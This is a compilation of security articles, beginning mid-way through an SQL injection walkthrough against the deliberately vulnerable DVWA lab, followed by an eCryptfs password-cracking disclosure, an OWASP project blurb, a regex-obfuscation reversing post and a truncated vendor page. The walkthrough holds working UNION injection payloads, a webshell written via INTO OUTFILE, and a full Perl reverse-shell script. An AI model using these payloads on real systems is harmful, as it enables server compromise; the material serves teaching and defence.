but when I used with 3 I got the above error, so the number of columns used in
the backend query is 2.

  

In this way, our work to guess number of columns become easy with ORDER BY.
Let’s try it here.

  

Using id= ‘ order by 3 \# application throws the MySQL error and tells that
the 3rd column is not used in the query. The \(\#\) used here is to comment
out the rest of the backend query. So it will be like:

  

MySQL> select first\_name, last\_name from users where user\_id=’ ‘ order by 3
\# ‘ ;

  

And using id= ‘ order by 2 \# no error is generated hence confirms that the
number of columns used in the backend query is 2.

  

Now to enumerate further let us use the UNION Query.

  

Why are we using UNION?

  

UNION combines the results of 2 SELECT queries. From our previous ORDER BY
operation we know that the query contains 2 columns. So one SELECT query is
the backend query on which we have no control but we can introduce UNION with
another SELECT query designed by us and will display the result which will be
union of the results of 2 queries.

  

The final query at the backend would be something like this after our
injection using UNION SELECT. Make sure since the columns used in the main
query is 2, in UNION SELECT we should use 2 columns only since both SELECT
queries should have same number of columns:

  

MySQL> select first\_name, last\_name from users where user\_id=’ ‘ union
select 1,2 ;

  

By using the UNION query, we can see that results are getting displayed on the
page which is the UNION of the backend SELECT query in use and our inserted
SELECT query.

  

Since we can design our SELECT query, it allows us to enumerate well. So we
will keep the other injection as: ‘ UNION SELECT user\(\), database\(\)\#

  

It will display the results as user and database in use.

  

Playing further with it using session\_user\(\) and current\_user\(\):

  

Also, we can know the version of the MySQL in use.

  

And to beautify it more, MySQLprovides us load\_file\(\) function using which
we can read files, let’s read /etc/passwdby injecting:

  

‘ UNION SELECT 1, load\_file\(/etc/passwd\) \#

  

Now it is time for exploitation using UNION SELECT.

  

\- Exploit:Upload the webshell and get the reverse connection.

  

Here comes the exploitation part. Till now we were focused on the reading and
enumerating. The plan is to upload a webshell in the webroot. To confirm the
webroot we browsed to PHPinfo.php file which contains lot of information about
the webserver including the webroot.

  

We confirmed that the /var/www/ is the webroot which is default location of
the Apache server.

  

Identifying the correct webroot is very important. For Apache we already know
the default webroot but sysadmins might change the default path. In this
application, we have this luxury of looking into PHPinfo.php, but this might
not be the case all the time. One of the methods is by looking into errors
generated by the application. It might reveal the installation path. So an
aware developer can make this step difficult for an attacker by hiding the
webroot info.

  

Now we will use the UNION SELECT to create a PHP file in the webroot using
INTO OUTFILE. INTO OUTFILE writes the selected rows to a file. The injection
below shows that the cmd.php file will be formed in the webroot which will
execute OS commands for us. So injecting:

  

‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ \#

  

Those who know PHP they can easily makeout that we are inserting a PHP
script‘‘ which will run system commands by taking argument via GET and this
script would be written to a PHP file \(cmd.php\) located in the webroot
directory.

  

This method will work when you have permission to write in the webroot. An
aware system admin might change the permissions of the of the installation
folder which will make this attack impossible.

  

As we can see the injection is successful and as we can browse cmd.php
uploaded in the webroot.

  

Let us run some operating system commands. As we see, using the id command, we
have privilege of Apache user. We can run couple of other commands and play
around. But in order to escalate the privileges we will need the interactive
shell. So it is required to gain a reverse connection.

  

Let us check where Perl is installed in the system or not by running Perl –h.

  

Now let’s download and save the Perl backconnect from attackers system and
save it in /tmp using the wget command. The perl backconnect which I am using
is very simple script which takes IP and port as arguments. /tmp give us
writable permission and that is the reason why are we saving it in /tmp.

  

Perl backconnect Script:

  

\#\!/usr/bin/perl  
use Socket;  
use FileHandle;  
$IP = $ARGV\[0\];  
$PORT = $ARGV\[1\];  
socket\(SOCKET, PF\_INET, SOCK\_STREAM, getprotobyname\('tcp'\)\);  
connect\(SOCKET, sockaddr\_in\($PORT,inet\_aton\($IP\)\)\);  
SOCKET->autoflush\(\);  
open\(STDIN, ">&SOCKET"\);  
open\(STDOUT,">&SOCKET"\);  
open\(STDERR,">&SOCKET"\);  
system\("/bin/sh -i"\);  

  

Let us check whether the command is successful or not. And yes,
backconnect.plis present there in /tmp.

  

Now we will launch netcat at port 8000 and wait for the connection. Also, try
running the perl backconnect script.Yes, we got the reverse connection.

  

And we have an interactive shell for use.

  

This shell can be used to launch local privilege escalation exploits to give
the attacker root privileges on the server.

  

Now let’s replicate the same steps in windows. For the demo purpose I have
installed DVWA in WAMP server in windows.

  

First, try UNION SELECTalong withload\_file\(\) in windows.

  

We want to read a file located in E drive in windows. The path of the file is:

  

e:/testfile.txt

  

The injection would be ‘ union select 1, load\_file\(‘e:\\\testfile.txt’\) \#

  

It is important to specify the path of the file in proper way and as we can
see the path is mentioned as e:\\\testfile.txt because MySQL will read
\(\\\\\)as a backlash character \(“\”\) since \(\\\) is an escape character.
The injection can also be like:

  

‘ union select 1, load\_file\(‘e:\/testfile.txt’\) \#

  

Now to upload the webshell and find the webroot of the application installed
in windows. It is mentioned in PHPinfo.phpfile.

  

The webroot is confirmed as c:/wamp/www/DVWA/dvwa/.

  

The injection for uploading the webshell would be:

  

‘ union select 1, ‘‘ INTO OUTFILE ‘c:\\\wamp\\\www\\\DVWA\\\dvwa\\\cmd.php’\#

  

There is no error generated. It seems the injection is successful.Let’s check
cmd.php.

  

And yes, it is working perfectly fine. We can run different commands and play
around with the webshell. Like whoami tell us that we are having
NTauthority\system privileges.

  

This is how an SQL injection can be deadly. It shows that a big responsibility
lies on the shoulders of the developers of the application and the
system/database admins. A single mistake can compromise the application and
server as well.

  

\- 28  
in  
Share  
.

  

Author

  

Shashank

  

Shashank is an information security researcher, analyst and penetration tester
working in Bangalore, India. He has experience in conducting penetration tests
for government organizations, banking, finance, hospitality, defense, NGOs and
various other industries. He is also involved with various organizations to
help them in strengthening the security of their applications and
infrastructure. He likes to research on web application security, secure code
review and advance attack vectors. His own blog is available at
http://security-logic.blogspot.in/.

  

\- Free Practice Exams

  

    \- CCNA Practice Exam

  

    \- Network + Practice Exam

  

    \- PMP Practice Exam

  

    \- Security+ Practice Exam

  

    \- CEH Practice Exam

  

    \- CISSP Practice Exam

  

\- Free Training Tools

  

    \- Phishing Simulator

  

    \- Security Awareness

  

\- Editors Choice

  

    \-   
Petya Ransomware Analysis Part I

  

    \-   
Bitcoin May Turn from Cybercriminals’ Biggest Asset into Their Biggest
Liability

  

    \-   
Law Enforcement and the Dark Web: A Never-Ending Battle

  

    \-   
Riffle Anonymity Network

  

    \-   
The Cyber Enemy within: Rise of Insider Threat

  

    \-   
Introduction to debugging Android apps using AndBug

  

    \-   
Entry Level Risk Management: Creating a First Security Risks Register

  

    \-   
DLL Hijacking Attacks Revisited

  

    \-   
Penetration Testing: Maintaining Access

  

    \-   
Security Log Collection for Cloud Solutions

  

    \-   
Vulnerability Scanners

  

    \-   
Exploiting Windows DRIVERS: Double-fetch Race Condition Vulnerability

  

\- Related Boot Camps

  

    \- Information Security

  

    \- Security Awareness

  

    \- CCNA

  

    \- PMP

  

    \- Microsoft

  

    \- Incident Response

  

    \- Information Assurance

  

    \- Ethical Hacking

  

    \- Hacker Training Online

  

\- More Posts by Author

  

    \- Android Application Penetration Testing: Setting up, Certificate
Installation and GoatDroid Installation

  

\-   
Petya Ransomware Analysis Part I

  

\-   
Bitcoin May Turn from Cybercriminals’ Biggest…

  

\-   
Law Enforcement and the Dark Web:…

  

\-   
Riffle Anonymity Network

  

Connect with us

  

Stay up to date with InfoSec Institute and Intense School - at
info@infosecinstitute.com

  



  

Join our newsletter

  

Get the latest news, updates & offers straight to your inbox.

  

© InfoSec Resources 2016

  

<img src='img/032513_1904_Anatomyofan1.png' width='580' height='238' />

<img src='img/032513_1904_Anatomyofan2.png' width='580' height='249' />

<img src='img/032513_1904_Anatomyofan3.png' width='580' height='81' />

<img src='img/032513_1904_Anatomyofan4.png' width='580' height='240' />

<img src='img/032513_1904_Anatomyofan5.png' width='580' height='106' />

<img src='img/032513_1904_Anatomyofan6.png' width='580' height='230' />

<img src='img/032513_1904_Anatomyofan7.png' width='580' height='248' />

<img src='img/032513_1904_Anatomyofan8.png' width='580' height='284' />

<img src='img/032513_1904_Anatomyofan9.png' width='580' height='339' />

<img src='img/032513_1904_Anatomyofan10.png' width='580' height='312' />

<img src='img/032513_1904_Anatomyofan11.png' width='580' height='318' />

<img src='img/032513_1904_Anatomyofan12.png' width='580' height='307' />

<img src='img/032513_1904_Anatomyofan13.png' width='580' height='239' />

<img src='img/032513_1904_Anatomyofan14.png' width='580' height='168' />

<img src='img/032513_1904_Anatomyofan15.png' width='328' height='111' />

<img src='img/032513_1904_Anatomyofan16.png' width='479' height='69' />

<img src='img/032513_1904_Anatomyofan17.png' width='580' height='128' />

<img src='img/032513_1904_Anatomyofan18.png' width='580' height='92' />

<img src='img/032513_1904_Anatomyofan19.png' width='580' height='73' />

<img src='img/032513_1904_Anatomyofan20.png' width='580' height='42' />

<img src='img/032513_1904_Anatomyofan21.png' width='457' height='222' />

<img src='img/032513_1904_Anatomyofan22.png' width='442' height='54' />

<img src='img/032513_1904_Anatomyofan23.png' width='580' height='270' />

<img src='img/032513_1904_Anatomyofan24.png' width='580' height='330' />

<img src='img/032513_1904_Anatomyofan25.png' width='580' height='152' />

<img src='img/032513_1904_Anatomyofan26.png' width='580' height='179' />

<img src='img/032513_1904_Anatomyofan27.png' width='444' height='76' />

<img src='img/b81bfaee4835761484b5a577456401bd.png' width='96' height='96' />

<img src='img/cisco-ccna-logo-lbox-72x40-ffffff.jpg' width='36' height='20'
alt='CCNA Practice Exam' />

<img src='img/netplus-lbox-72x40-ffffff.jpg' width='36' height='20'
alt='Network + Practice Exam' />

<img src='img/pmi-lbox-72x40-ffffff.jpg' width='36' height='20' alt='PMP
Practice Exam' />

<img src='img/sec+-lbox-72x40-ffffff.jpg' width='36' height='20'
alt='Security+ Practice Exam' />

<img src='img/CEH1-lbox-72x40-ffffff.jpg' width='36' height='20' alt='CEH
Practice Exam' />

<img src='img/cissp-lbox-72x40-ffffff.jpg' width='36' height='20' alt='CISSP
Practice Exam' />

<img src='img/goatdroid-12102013-76x76-c-default.gif' width='38' height='38'
alt='Android Application Penetration Testing: Setting up, Certificate
Installation and GoatDroid Installation' />

# How to crack Ubuntu disk encryption and passwords | CyberSmashup
**Created:**| _8/25/2015 4:11:55 PM_  
---|---  
**Updated:**| _8/26/2015 1:03:12 PM_  
**Author:**| __  
**Tags:**| __  
  

# CyberSmashup

## \(ツ\)\_/¯

During Positive Hack Days V, I made a fast track presentation about eCryptfs
and password cracking. The idea came to me after using one feature of Ubuntu
which consists in encrypting the home folder directory. This option can be
selected during installation or activated later.  

<img src='img/Temp2_4104.png' alt='UbuntuEncryptSetup' />

  
If you select this option, nothing changes for the user except that data in
his home folder is encrypted. I was interested to know how this process works
since the passphrase for decryption is never requested. I discovered that
eCryptfs is included in the GNU/Linux kernel and tools called ecryptfs-utils
are used to setup the home folder encryption by the Ubuntu distribution.

After reading the code, I discovered how the encryption is performed. First a
16-byte random passphrase is generated. This passphrase will be used with
AES-128 to encrypt and decrypt the data in the folder. This passphrase is
stored encrypted in the file

[code]

    /home/.ecrpytfs/$USER/.ecrpytfs/wrapped-passphrase
    
[/code]

The process of encrypting the passphrase is called key wrapping. To generate a
wrapping key used to wrap the passphrase, an 8-byte salt and a password are
concatenated and given as input to SHA-512. The result is hashed again 65535
times. As shown by the following figure:

<img src='img/Temp2_4106.png' alt='wrappingkey' />

  
The 16 first bytes of the result are the **wrapping key**. The intermediate
result is hashed one more time and the 8 first bytes of this operation
represent the **signature** of the wrapping key. The passphrase is encrypted
with the wrapping key using AES-128 and stored with the signature in the
wrapped-passphrase file as shown here:

<img src='img/Temp2_4108.png' width='786' height='94'
alt='wrappedpassphrasev1' />

To unwrap the key the process is similar, the salt and the password are hashed
65536 times.

<img src='img/Temp2_4107.png' alt='unwrappingkey' />

The result is hashed one more time. If the 8-byte signature obtained matches
the one stored in the file then eCryptfs detects that the correct wrapping key
has been generated. Thus it can unwrap the passphrase for file decryption.

From an adversary’s point of view, to recover the passphrase, the naive
approach would be to brute-force the passphrase with encrypted data. However
since it is randomly generated over 16-bytes the brute-force approach is not
practical. The adversary can also try to brute-force the password used during
the key wrapping and thus he would be able to generate the wrapping key and
recover the passphrase. He could use precomputed dictionaries or rainbow
tables over the signature to recover the password but as a salt is used in the
wrapping process this makes such attacks much more difficult.

At this point, I noticed that, for Ubuntu systems, the password used in the
wrapping process is directly the login password. This explains why no further
information is asked when performing home folder decryption. It means that an
adversary who is able to crack the wrapping password will not only obtain the
passphrase but also the user password. Next I looked how the salt is generated
since it is not stored anywhere in the `wrapped-passphrase` file. I finally
found in the code that ecryptfs-utils is looking for a salt in the
configuration file

[code]

    $HOME/.ecryptfsrc
    
[/code]

If the file does not exist, a default value of **`0x0011223344556677`** is
used. This behavior had already been noted previously.

For a system using eCryptfs, as the configuration file is stored in the \(now
encrypted\) home folder it cannot be found and so the default salt value is
used to decrpyt the home folder.

In practical terms this means that, for a system to use this version of
eCryptfs the salt value used must be the default value. If not, the initial
encryption, using a salt from ~/.ecryptfsrc would never be decrypted correctly
as, now unable to find the config file, eCryptfs would apply the default salt
at the moment of decryption.  

<img src='img/Temp2_4105.png' alt='dictionnaryattack' />

Cleary a precomputed dictionary attack or a rainbow table attack can be
mounted against such a system in order to crack the user passwords. To set-up
such an attack, I looked at my favorite cracking tool: John the ripper \(JTR\)
and I discovered that the algorithm was already implemented in the 1.8.0-jumbo
version. The format is

[code]

    $ecryptfs$0$1$0011223344556677$21ff10301b5457e1
    
[/code]

where the pink value is obviously the salt and the green value is the
signature corresponding to the password you want to crack.

I also noticed a Python script `ecryptfs2john.py` in JTR which directly read
the **`wrapped-passphrase`** file and convert it to the correct format. The
algorithm is also implemented in hashcat. As a proof of concept, I computed a
dictionary of 14 million signatures based on the famous rock you dictionary.
It took me about one month on my personal computer. But with this dictionary
it is now possible to reverse a signature with a single look up assuming the
password was in the rock you list of password. This dictionnary is available
at https://github.com/kudelskisecurity/ecryptfs-dictionary-v1.

Of course we notified the ecryptfs-utils developers about the problem with
Ubuntu distributions, a CVE was opened and quickly corrected. They issued a
new file format for the wrapped-passphrase file. It now starts with
**`0x3a02`**. The salt is generated from `/etc/urandom/` and stored in the
same file by default. The old version files are automatically converted after
the update and a logoff. To ensure the correction was successfully applied to
your system you should check the wrapped-passphrase file. The new file
contents should look like this:

<img src='img/Temp2_4103.png' alt='wrappedpassphrasev2' />

Even with the correction the user password is still exposed to bruteforce
attack with a randomly generated salt. However the standard Linux password
hashing is 5000 iterations of SHA-512 which is easier to crack compare to the
65536 iterations of eCryptfs. As such, and due to the dual use of this
password the eCryptfs implementation is a less interesting target for a
password cracker. In the future it could be interesting if Argon2, the winner
of the Password Hashing Competition, could be used eCryptfs.

My PHDays slides are available here.

# OWASP Broken Web Applications Project - OWASP

**Created:**| _5/1/2011 9:52:35 AM_  
---|---  
**Updated:**| _5/1/2011 9:52:35 AM_  
**Author:**| __  
**Tags:**| _OWASP web-app-sec pentest_  
  

The Broken Web Applications Project \(BWA\) is an effort to provide a wealth
of applications with known vulnerabilities for those interested in:

  * learning about web application security 
  * testing manual assessment techniques 
  * testing automated tools 
  * testing source code analysis tools 
  * observing web attacks 
  * testing WAFs and similar code technologies 

all the while saving people interested in doing either learning or testing the
pain of having to compile, configure, and catalog all of the things normally
involved in doing this process from scratch.

  

We urge interested parties to join our Google Group or check out our Google
Code Page.

Direct Download link

This project is sponsored in part by <img src='img/Temp2_5674.gif' width='189'
height='40' alt='AppSecDC2009-Sponsor-mandiant.gif' />

# Regular expressions obfuscation under the microscope - Diary of a reverse-
engineer

**Created:**| _8/26/2013 4:28:19 PM_  
---|---  
**Updated:**| _8/26/2013 4:32:30 PM_  
**Author:**| __  
**Tags:**| _regex reversing_  
  

# **I** ntroduction****

Some months ago I came across a strange couple of functions that was kind of
playing with a finite-state automaton  to validate an input**.** At first
glance, I didn’t really notice it was in fact a regex being processed, that’s
exactly why I spent quite some time to understand those routines**.** You are
right to ask yourself: “Hmm but the regex string representation should be in
the binary shouldn’t it**?** ”, the thing is it wasn’t**.** The purpose of
this post is to focus on those kind of “compiled” regex, like when the author
transform somehow the regex in a FSM directly usable in its program \(for the
sake of efficiency I guess\)**.** And to extract that handy string
representation, you have to study the automaton**.**

In this short post, we are going to see how a regular expression looks like in
assembly/C, and how you can hide/obfuscate it**.** I hope you will enjoy the
read, and you will both be able to recognize a regular expression compiled in
your future reverse-engineering tasks and to obfuscate heavily your
regex**\!**

# Bring out the FSM****

## Manually****

Before automating things, let’s see how we can implement a simple regex in C.
It’s always easier to reverse-engineer something you have, at least once in
your life, implemented**.** Even if the actual implementation is slightly
different from the one you did**.** Let’s say we want to have an automaton
that matches “Hi-\[0-9\]\{4\}”**.** Now, if from that string representation we
extract an FSM, we can have that one:

<img src='img/Temp2_6794.png' />

Here is this automaton implemented in C:

\(fsm\_example**.** c\) download

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    
[/code]

|

[code]

    #include <stdio**.** h>
    #include <string**.** h>
    
    unsigned char checkinput(char* s)
    {
        unsigned int state = 0, i = 0;
        do
        {
            switch(state)
            {
                case 0:
                {
                    if(*s == 'H')
                        state = 1;
    
                    break;
                }
    
                case 1:
                {
                    if(*s == 'i')
                        state = 2;
                    else
                        return 0;
    
                    break;
                }
    
                case 2:
                {
                    if(*s == '-')
                        state = 3;
                    else
                        return 0;
    
                    break;
                }
    
                case 3 ..**.** 6:
                {
                    if(*s >= '0' && *s <= '9')
                        state++;
                    else
                        return 0;
    
                    break;
                }
    
                case 7:
                    return 1;
            }
        } while(*s++);
    
        return 0;
    }
    
    int main(int argc, char *argv[])
    {
        if(argc **!** = 2)
        {
            printf("./fsm <string>\n");
            return 0;
        }
    
        if(checkinput(argv[1]))
            printf("Good boy**.** \n");
        else
            printf("Bad boy.\n");
    
        return 1;
    }
    
[/code]  
---|---  
If we try to execute the program:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
[/code]

|

[code]

    > fsm_example.exe garbage-Hi-1337-garbage
    Good boy**.**
    
    > fsm_example.exe garbage-Hi-1337
    Good boy**.**
    
    > fsm_example.exe Hi-1337-garbage
    Good boy**.**
    
    > fsm_example.exe Hi-dudies
    Bad boy.
[/code]  
---|---  
The purpose of that trivial example was just to show you how a regex string
representation can be compiled into something harder to analyze but also more
efficient \(it doesn’t need a compilation step, that’s the reason why you may
encounter that kind of thing in real \(**?**\) softwares\). Even if the code
seems trivial at the first sight, when you look at it at the assembly level,
it takes a bit of time to figure out it’s a simple “Hi-\[0-9\]\{4\}”
regex**.**

<img src='img/Temp2_6791.png' />

In that kind of analysis, it’s really important to find the “state” variable
that allows the program to pass through the different nodes of the FSM**.**
Then, you have also to figure out how you can reach a specific node, and all
the nodes reachable from a specific one**.** To make it short, at the end of
your analysis you really want to have a clean FSM like the one we did
earlier**.** And once you have it, you want to eliminate unreachable nodes,
and to minimize it in order to remove some potential automaton
obfuscation**.**

\(fsm\_example.c\) download

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    
[/code]

|

[code]

    #include <stdio**.** h>
    #include <string.h>
    
    unsigned char checkinput(char* s)
    {
        unsigned int state = 0, i = 0;
        do
        {
            switch(state)
            {
                case 0:
                {
                    if(*s == 'H')
                        state = 1;
    
                    break;
                }
    
                case 1:
                {
                    if(*s == 'i')
                        state = 2;
                    else
                        return 0;
    
                    break;
                }
    
                case 2:
                {
                    if(*s == '-')
                        state = 3;
                    else
                        return 0;
    
                    break;
                }
    
                case 3 ..**.** 6:
                {
                    if(*s >= '0' && *s <= '9')
                        state++;
                    else
                        return 0;
    
                    break;
                }
    
                case 7:
                    return 1;
            }
        } while(*s++);
    
        return 0;
    }
    
    int main(int argc, char *argv[])
    {
        if(argc **!** = 2)
        {
            printf("**.** /fsm <string>\n");
            return 0;
        }
    
        if(checkinput(argv[1]))
            printf("Good boy**.** \n");
        else
            printf("Bad boy**.** \n");
    
        return 1;
    }
    
[/code]  
---|---  
## Automatically****

But what if our regex was totally more complex **?** It would be a hell to
implement manually the FSM**.** That’s why I wanted to find some ways to
generate your own FSM from a regex string manipulation**.**

### With re2c****

re2c  is a cool and simple tool that allows you to describe your regex in a C
comment, then it will generate the code of the scanner**.** As an example,
here is the source code to generate the scanner for the previous regex:

\(fsm\_re2c\_example**.** c\) download

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    
[/code]

|

[code]

    /* re2c -i fsm_re2c_example**.** c */
    #include <stdio.h>
    #include <string.h>
    
    unsigned char checkinput(char* s)
    {
        char *q;
    /* **!** re2c
        re2c:define:YYCTYPE = "char";
        re2c:define:YYCURSOR = s;
        re2c:define:YYMARKER = q;
        re2c:yyfill:enable   = 0;
    
       "Hi-"[0-9]{4}  { return 1; }
       [^]            { return 0; }
    */
    }
    
    int main(int argc, char *argv[])
    {
        if(argc **!** = 2)
        {
            printf("./fsm <string>\n");
            return 0;
        }
    
        if(checkinput(argv[1]))
            printf("Good boy**.** \n");
        else
            printf("Bad boy.\n");
    
        return 1;
    }
    
[/code]  
---|---  
Once you feed that source to re2c, it gives you that scanner ready to be
compiled:

\(fsm\_re2c\_generated\_non\_optimized**.** c\) download

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    
[/code]

|

[code]

    /* Generated by re2c 0**.** 13.5 on Sun Aug 25 00:27:48 2013 */
    #include <stdio**.** h>
    #include <string.h>
    
    unsigned char checkinput(char* s)
    {
        char *q;
    
    {
            char yych;
    
            yych = *s;
            switch (yych) {
            case 'H':       goto yy2;
            default:        goto yy4;
            }
    yy2:
            yych = *(q = ++s);
            switch (yych) {
            case 'i':       goto yy5;
            default:        goto yy3;
            }
    yy3:
            { return 0; }
    yy4:
            yych = *++s;
            goto yy3;
    yy5:
            yych = *++s;
            switch (yych) {
            case '-':       goto yy7;
            default:        goto yy6;
            }
    yy6:
            s = q;
            goto yy3;
    yy7:
            yych = *++s;
            switch (yych) {
            case '0':
            case '1':
            case '2':
            case '3':
            case '4':
            case '5':
            case '6':
            case '7':
            case '8':
            case '9':       goto yy8;
            default:        goto yy6;
            }
    yy8:
            yych = *++s;
            switch (yych) {
            case '0':
            case '1':
            case '2':
            case '3':
            case '4':
            case '5':
            case '6':
            case '7':
            case '8':
            case '9':       goto yy9;
            default:        goto yy6;
            }
    yy9:
            yych = *++s;
            switch (yych) {
            case '0':
            case '1':
            case '2':
            case '3':
            case '4':
            case '5':
            case '6':
            case '7':
            case '8':
            case '9':       goto yy10;
            default:        goto yy6;
            }
    yy10:
            yych = *++s;
            switch (yych) {
            case '0':
            case '1':
            case '2':
            case '3':
            case '4':
            case '5':
            case '6':
            case '7':
            case '8':
            case '9':       goto yy11;
            default:        goto yy6;
            }
    yy11:
            ++s;
            { return 1; }
    }
    
    }
    
    int main(int argc, char *argv[])
    {
        if(argc **!** = 2)
        {
            printf("./fsm <string>\n");
            return 0;
        }
    
        if(checkinput(argv[1]))
            printf("Good boy**.** \n");
        else
            printf("Bad boy.\n");
    
        return 1;
    }
    
[/code]  
---|---  
Cool isn’t it **?** But in fact, if you try to compile and Hexrays it \(even
with optimizations disabled\) you will be completely disappointed: it gets
simplified like **really** ; not cool for us \(cool for the reverse-engineer
though**\!**\).

<img src='img/Temp2_6793.png' />

### By hand****

That’s why I tried to generate myself the C code of the scanner**.** The first
thing you need is a “regular-expression string” to FSM Python library : a
sort-of regex compiler**.** Then, once you are able to generate a FSM from a
regular expression string, you are totally free to do whatever you want with
the automaton**.** You can obfuscate it, try to optimize it, etc. You are also
free to generate the C code you want**.** Here is the ugly-buggy-PoC code I
wrote to generate the scanner for the regex used previously:

\(generate\_c\_fsm**.** py\) download

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    
[/code]

|

[code]

    import reCompiler
    import random
    
    c = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ**!** "#$%&()*+,-./:;<=>**?** @[\\]^_`{|}~ \t\n\r\x0b\x0c'
    
    fsm = reCompiler.compileRE('Hi-[0-9][0-9][0-9][0-9]', minimize = 1)
    states = fsm.states
    transitions = fsm.transitions
    
    useless_states = [random.randint(0, 0xffffffff) for _ in range(random.randint(50, 100))]
    states += useless_states
    
    # We don't want to have dead nodes, so let's create transition
    deadnodes = set(useless_states)
    while len(deadnodes) **!** = 0:
        s, d, t = random.choice(states), random.choice(states), random.choice(c)
        transitions += [(s, d, t)]
        deadnodes -= set([s])
    
    # To obfuscate we can use random state number
    dic_states = dict(
        (i, random.randint(0, 0xffffffff)) for i in states
    )
    
    random.shuffle(states)
    assert(len(dic_states.values()) == len(set(dic_states.values())))
    
    print 'unsigned char checkinput(char *p){\nunsigned int state = %d;\nwhile(*p)\n{\nswitch(state)\n{' % dic_states[fsm.initialState]
    
    for i in states:
        if i in fsm.finalStates:
            continue
    
        print 'case %d:\n{' % dic_states[i]
    
        is_first = True
        for src, dst, t in transitions:
            if src **!** = i:
                continue
    
            if is_first == False:
                print 'else',
            else:
                is_first = False
    
            r = str(t)
            if r.startswith('\\') == False or len(r) == 1:
                print "if(*p == %s)" % repr(r)
            elif r == '\\d':
                print "if(*p >= '0' && *p <= '9')"
            else:
                raise Exception('Not implemented**!** ')
    
            print '{'
    
            if dst in fsm.finalStates:
                print 'return 1;'
            else:
                print 'state = %d; ++p;' % dic_states[dst]
    
            print '}'
    
        # Kind of hack to not anchor the regex (not handled by the RE->FSM)
        if i == fsm.initialState:
            print 'else ++p;'
        else:
            print 'else return 0;'
        print 'break;\n}'
    
    print '}\n}\nreturn 0;\n}'
    
[/code]  
---|---  
Now, if you open it in IDA the CFG will look like this:

<img src='img/Temp2_6792.png' />

Not that fun to reverse-engineer I guess**.** If you are enough curious to
look at the complete source, here it is:
fsm\_generated\_by\_hand\_example**.** c **.**

## Thoughts to be more evil: one input to bind all the regex in the
darkness****

Keep in mind, the previous examples are really trivial to analyze, even if we
had to do it at the assembly level without Hexrays \(by the way Hexrays does a
really nice job to simplify the assembly code, cool for us**\!**\)**.** Even
if we have slightly obfuscated the automaton with useless states/transitions,
we may want to make things harder**.**

One interesting idea to bother the reverse-engineer is to use several regex as
“input filters”**.** You create one first “permissive” regex that has many
possible valid inputs**.** To reduce the valid inputs set you use another
regex as a filter**.** And you do that until you have only one valid input:
your serial**.** Note that you may also want to build complex regex, because
you are evil**.**

In that case, the reverse-engineer **has to** analyze all the different
regex**.** And if you focus on a specific regex, you will have too many valid
inputs whereas only one gives you the good boy \(the intersection of all the
valid inputs set of the different regex\)**.**

If you are interested by the subject, a cool resource I’ve seen recently that
does similar things was in a CTF task write-up written by Michal Kowalczyk :
read it , it’s awesome**.**

Messing with automata is good for you**.**

****

# Securosis Research | Web, Email, and Data Portal Security
**Created:**| _6/12/2009 10:07:30 PM_  
---|---  
**Updated:**| _6/12/2009 10:07:42 PM_  
**Author:**| __  
**Tags:**| _web-app-sec_  
  

# Web, Email, and Data Portal Security

Last Updated: Friday, April 10, 2009

This research page covers web filtering as well as email security and anti-
spam options. The email security market, like the web gateway market, is one
of the most saturated and commoditized in the security industry. As with
firewalls and anti-virus \(on Windows\), it is essentially impossible to do
business without these tools. And to no one's surprise we see continued
convergence of these threat protection products; in some cases, it's merely
mergers and acquisitions to provide two separate products from the same
vendor, but in other cases we see combined solutions -- often in an attempt to
displace point products. As many of the site-managed solutions also offer
gateway and secure data exchange services, we will cover that here as well.

The intended audience for this page is those interested in security products
for their business, to keep their users' inboxes free of spam, and ensure
Internet browsing stays within company policy. In the past we would just have
said 'porn', as that is why many of these platforms are purchased. In reality
there are many other security and compliance uses for these technologies,
which are as least as important.

## Papers and Posts

If you are just getting started, we recommend you read the following blog
posts and papers in order. \(In keeping with our Totally Transparent Research
policy, for sponsored papers we also link to the original blog posts so you
can see how the content was developed, and all public comments\).

  * The Symantec acquisition of MessageLabs demonstrates that the battle for this fully commoditized market is not over.
  * Post on the general threats around using External Database Procedures variants in relational databases.

## General Coverage

  * Spam Levels and Anti-Spam SaaS.
  * Marshall8e6's acquisition of Avinti, and how the smaller vendors need to innovate and re-position their technologies to compete.

## Presentations

PDF versions of presentations \(when available\) may also be useful, although
